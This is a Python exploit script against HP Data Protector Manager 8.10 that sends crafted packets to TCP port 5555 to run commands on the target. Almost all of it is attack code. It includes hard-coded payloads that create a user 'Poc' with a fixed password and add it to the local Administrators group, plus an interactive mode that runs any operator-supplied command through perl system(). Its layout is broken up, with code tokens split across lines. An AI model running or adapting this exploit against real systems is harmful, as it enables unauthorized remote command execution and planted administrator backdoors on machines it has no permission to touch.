#!/usr/bin/python
# Exploit Title: HP-Data-Protector-8.10 Remote command execution.
# Date: July 11 2014
# Exploit Author: Christian (Polunchis) Ramirez https://intrusionlabs.org
# Exploit Author: Henoch (Chanoc) Barrera https://intrusionlabs.org
# Contacts: polunchis@intrusionlabs.org and chanoc@intrusionlabs.org
# Version: HP Data Protector manager 8.10 the last version
# Vendor web page: http://www8.hp.com/mx/es/software-solutions/software.html?compURI=1175640#.U8DhWaU_BjF
# Tested on: Windows 2003, Windows 2008 and Windows 2012 all languages
# Thanks:To GOD for giving us wisdom
# Description:
# A remote command execution is triggered when craft command is sent to the Hp Data Protector Manager to tcp port 5555.
import
socket
import
struct
import
sys
#net user Poc l@bs.og /add
shellusr
=
(
"\x00\x00\x01\x3c\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00"
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00"
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00"
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00"
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00"
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00"
"\x20\x00\x75\x00\x73\x00\x65\x00\x72\x00\x20\x00\x50\x00\x6f\x00"
"\x63\x00\x20\x00\x6c\x00\x40\x00\x62\x00\x73\x00\x2e\x00\x6f\x00"
"\x67\x00\x20\x00\x2f\x00\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00"
)
#net user local group Administrators Poc /add
shellgrp
=
(
"\x00\x00\x01\x56\xff\xfe\x32\x00\x00\x00\x20\x00\x68\x00\x70\x00"
"\x64\x00\x70\x00\x31\x00\x00\x00\x20\x00\x30\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x00\x00\x20\x00\x45\x00\x4e\x00\x55\x00\x00\x00"
"\x20\x00\x31\x00\x31\x00\x00\x00\x20\x00\x45\x00\x58\x00\x45\x00"
"\x43\x00\x5f\x00\x42\x00\x41\x00\x52\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00"
"\x20\x00\x41\x00\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00"
"\x41\x00\x41\x00\x41\x00\x00\x00\x20\x00\x41\x00\x41\x00\x41\x00"
"\x41\x00\x00\x00\x20\x00\x63\x00\x3a\x00\x5c\x00\x77\x00\x69\x00"
"\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x5c\x00\x73\x00\x79\x00"
"\x73\x00\x74\x00\x65\x00\x6d\x00\x33\x00\x32\x00\x5c\x00\x63\x00"
"\x6d\x00\x64\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x20\x00"
"\x00\x00\x20\x00\x2f\x00\x63\x00\x20\x00\x6e\x00\x65\x00\x74\x00"
"\x20\x00\x6c\x00\x6f\x00\x63\x00\x61\x00\x6c\x00\x67\x00\x72\x00"
"\x6f\x00\x75\x00\x70\x00\x20\x00\x41\x00\x64\x00\x6d\x00\x69\x00"
"\x6e\x00\x69\x00\x73\x00\x74\x00\x72\x00\x61\x00\x74\x00\x6f\x00"
"\x72\x00\x73\x00\x20\x00\x50\x00\x6f\x00\x63\x00\x20\x00\x2f\x00"
"\x61\x00\x64\x00\x64\x00\x00\x00\x00\x00"
)
def
connect_target(target, port):
try
:
sock
=
socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except
socket.error as err:
print
"[-]Close Socket! CODE: %d MSG: %s"
%
(err[
0
], err[
1
])
return
-
1
try
:
sock.connect((target, port))
except
socket.error as err:
print
"[-] It cannot connect to the target! CODE: %d MSG: %s"
%
(err[
0
], err[
1
])
return
-
1
return
sock
def
send_recv_packet(sock, packet):
sock.sendall(packet)
res
=
sock.recv(
4096
)
return
res
print
"""
[*] https://intrusionlabs.org
"""
print
"[*] Choose a valid option"
print
"""
[1] Run remote commands
[2] Add Poc user to Administrators group with password l@bs.og
"""
opcion
=
raw_input
(
"Choose an option i.e. 1 or 2: "
)
if
opcion.isdigit():
opcion
=
int
(opcion)
if
opcion
=
=
1
:
ip_remota
=
raw_input
(
"IP Address: "
)
port
=
raw_input
(
"Port: "
)
command
=
raw_input
(
"command: "
)
if
port.isdigit():
port
=
int
(port)
else
:
print
"Please provide a tcp port"
objetivo
=
connect_target(ip_remota, port)
if
objetivo
=
=
-
1
: exit()
OFFSET
=
46
command
=
command.replace(
"\\", "
\\\\")
command_tmno
=
chr
(OFFSET
+
len
(command))
shell
=
"\x00\x00\x00"
+
\
command_tmno
+
\
"\x32\x00\x01"
+
\
"\x01\x01\x01"
+
\
"\x01\x01\x00"
+
\
"\x01\x00\x01"
+
\
"\x00\x01\x00"
+
\
"\x01\x01\x00"
+
\
"\x2028\x00"
+
\
"\\\x70\x65\x72"
+
\
"\x6c\x2e\x65\x78"
+
\
"\x65\x00 \x2d\x65"
+
\
"\x73\x79\x73\x74\x65\x6d"
+
\
"('%s')\x00"
%
command
print
>> sys.stderr,
"[+] Sending the payload with the command: '%s'"
%
command
datos
=
send_recv_packet(objetivo, shell)
# Parse the response back
print
>> sys.stderr,
"[+] Output:"
while
True
:
# Get information about response
tmno_respuesta
=
objetivo.recv(
4
)
if
not
tmno_respuesta:
break
n
=
struct.unpack(
">I"
, tmno_respuesta)[
0
]
respuesta
=
objetivo.recv(n)
respuesta
=
respuesta[
5
:].strip()
respuesta
=
respuesta.replace(
"\n"
, "")
respuesta
=
respuesta.replace(
"\x00"
, "")
if
respuesta.upper().find(
"*RETVAL*"
) !
=
-
1
:
break
print
respuesta
objetivo.close()
print
>> sys.stderr,
"print [!] Port close...\r"
elif
opcion
=
=
2
:
ip_remota
=
raw_input
(
"IP Address: "
)
port
=
raw_input
(
"\nPort: "
)
if
port.isdigit():
port
=
int
(port)
else
:
print
"Please provide a tcp port"
print
"\n [*]Creating P0c user and try to add it to Administrators group"
#Get information about response
print
"\n[*]Attempting to create Poc user and try to add it to Administrators group with password l@bs.og"
for
packet
in
[shellusr, shellgrp]:
target
=
connect_target(ip_remota, port)
if
target
=
=
-
1
: exit()
data
=
send_recv_packet(target, packet)
print
"[*]SERVER RESPONSE: "
+
\
data.split(
"\xFF\xFE\x31\x00\x35\x00\x00\x00\x20\x00"
)[
1
].lstrip(
"\x07\x00\x01\x00"
).rstrip(
"$"
)
target.close()
else
:
print
"Please provide a valid option i.e. 1 or 2"